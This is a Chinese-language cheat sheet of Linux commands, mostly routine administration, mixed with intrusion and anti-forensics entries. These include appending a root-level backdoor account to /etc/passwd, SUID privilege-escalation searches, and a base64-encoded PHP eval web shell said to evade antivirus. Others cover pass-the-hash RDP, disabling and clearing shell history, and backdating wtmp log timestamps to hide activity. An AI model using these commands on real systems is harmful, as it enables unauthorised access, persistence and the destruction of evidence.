Linux命令收集

  • Linux设置终端代理
export https_proxy=http://127.0.0.1:7890 http_proxy=http://127.0.0.1:7890 all_proxy=socks5://127.0.0.1:7890
  • linux更换系统源
bash <(curl -sSL https://gitee.com/SuperManito/LinuxMirrors/raw/main/ChangeMirrors.sh)
https://cdn.jsdelivr.net/gh/SuperManito/LinuxMirrors@main/ChangeMirrors.sh
  • python 的 pty 来转换为 交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'

  • 添加环境变量
export PATH="/home/test/.local/bin:$PATH"
  • 添加admin:123输出到、/etc/passwd
echo "admin:LRxM3nP3LOiYU:0:0:hello:/root:/bin/bash" >> /etc/passwd
  • mkpasswd生成$6密码:123456 shadow套件
mkpasswd -m sha-512 123456
  • openssl 生成/etc/passwd密码
openssl passwd 123456
  • 查看suid提权
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
  • 查看当前ip
ifconfig | /sbin/ifconfig | /sbin/ip a |ip a | ip addr  | /bin/busybox ifconfig | hostname -I
  • 匹配ip网卡
ip a|grep -oP "inet \K[0-9.]*(?=.*[^ ][^l][^o]$)"
ifconfig | grep -oP '(?<=inet )[\d.]+'
ifconfig | awk '/inet / {print $2}'
ifconfig | sed -En 's/.*inet (addr:)?(([0-9]*\.){3}[0-9]*).*/\2/p'
ifconfig eth0 | awk '/inet addr/{print substr($2,6)}'
  • last 查看Linux系统的用户登录记录-实时更新
last
  • lastlog 查看Linux系统的用户登录记录-只在登录时更新
lastlog
  • 查看进程信息
ps -ef | ps -aux
  • 增加capabilities权限
sudo setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip /usr/bin/nmap
  • Centos ssh 登录日志
grep 'Accepted' /var/log/secure | awk '{print $11}'
  • Ubuntu ssh 登录日志
grep 'Accepted' /var/log/auth.log | awk '{print $11}'
  • 查看端口信息
netstat -anplut
  • 查看hosts文件
cat /etc/hosts
  • 查看操作系统标识
cat /etc/os-release
  • 查看计划任务
cat /etc/crontab
  • 查看所有/bin/bash登录的历史命令记录
cat `cat /etc/passwd |grep /bin/bash | awk -F ":" '{print $6}' | sed 's/$/&\/.bash_history/g'`
  • /sbin/nologin导致不能su username
usermod -s /bin/bash postgre
  • Linx终端搜索软件
find / -name pass.txt
  • Linux查找后缀properties文件内容带password字样
find / -name *.properties | xargs grep password    //xml,sh,python,等等
  • Linux把tomcat目录文件和文件夹列表导出到oa.txt
find /home/tomcat/ -type f > oa.txt
  • 搜索logo.jpg目录并输出111到111.txt
find / -name logo.jpg|while read file;do sh -c "echo '111'">$(dirname $file)/111.txt;done
  • 编码字符微base64然后echo输出logo.php在进行解码- //可绕过杀软拦截关键字
echo -n "PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4+" | base64 -d > logo.php
  • xfreerdp在linux下面hash链接rdp
xfreerdp /u:administrator /pth:ccef208c6485269c20db2cad21734fe7 /v:10.20.24.100 /cert-ignore //server 2012
  • 创建软连接
ln -s /opt/sublime_text/sublime_text /usr/local/bin/sublime_text
  • HISTFILE变量的值给到空设备
export HISTFILE=/dev/null

-HISTSIZE的大小设置为0就只会写入0条命令

export HISTSIZE = 0
  • 登录后执行下面命令,不记录历史命令(.bash_history)
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
  • 清除当前用户的history命令记录
history -c
  • 禁用 ntp(时间同步)
timedatectl set-ntp false 
timedatectl set-ntp 0
  • 启用 ntp(时间同步)
timedatectl set-ntp true
timedatectl set-ntp 1
  • 查看时间
https://blog.csdn.net/weixin_45450567/article/details/125043250
date
tzselect
sudo hwclock --show
  • 修改时间
sudo date -s "2000/05/05 12:00:00"
  • ssh远程登录
sed -i '/PermitRootLogin /c PermitRootLogin yes' /etc/ssh/sshd_config
  • ssh密码认证登录
sed -i "s/.*PasswordAuthentication.*/PasswordAuthentication yes/g" /etc/ssh/sshd_config
  • Linux系统日志文件目录
/var/log/btmp   记录所有登录失败信息,使用lastb命令查看
/var/log/lastlog 记录系统中所有用户最后一次登录时间的日志,使用lastlog命令查看
/var/log/wtmp    记录所有用户的登录、注销信息,使用last命令查看
/var/log/utmp    记录当前已经登录的用户信息,使用w,who,users等命令查看
/var/log/secure   记录与安全相关的日志信息
/var/log/message  记录系统启动后的信息和错误日志
  • 查找进程相关文件
lsof -p pid		/root权限下执行
pwdx			获取该pid的进程启动的时候的目录,并不一定是恶意文件所在的路径,只是启动我恶意文件的路径

systemctl status pid 获取这个进程的status信息
cat /proc/pid/maps
ls -al /proc/pid/exe
  • 根据目的ip及端口查找Pid
netstat -pantu | grep 114.114.114.114 
netstat -pantu | grep 65533 
lsof -i:65533
  • 根据本机ip+端口查找Pid
netstat -pantu | grep 65533
lsof -i:65533
  • 修改文件时间戳
最好在执行清除IP工作之前,查看下文件的时间戳信息,然后使用touch命令对其访问时间戳进行修改。
stat /var/log/wtmp
touch -a -d "2021-1-1 12:13:14" /var/log/wtmp

image

  • http server
python2 -m SimpleHTTPServer 6666
python3 -m http.server 6666
python3 -m pyftpdlib -p 6666
php -s 0.0.0.0:6666
ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 6666, :DocumentRoot => Dir.pwd).start'
ruby -run -e httpd . -p 6666 --bind-address 0.0.0.0
busybox httpd -f -p 6666
  • 重启进入bios系统
sudo systemctl reboot --firmware-setup
  • ssh 查看debug信息
ssh root@127.0.0.1 -vv
  • ssh 登录报错debug1: Offering public key: id_rsa RSA SHA256 explicit
ssh -i id_rsa root@127.0.0.1 -o PubkeyAcceptedAlgorithms=+ssh-rsa

SSH 弃用 SHA-1 哈希算法
https://xuanwo.io/reports/2021-47/
  • ssh 登录报错缺少密钥类型和签名支持
ssh -i id_rsa -o PubkeyAcceptedKeyTypes=ssh-rsa,ssh-dss -oHostKeyAlgorithms=ssh-dss,ssh-rsa root@127.0.0.1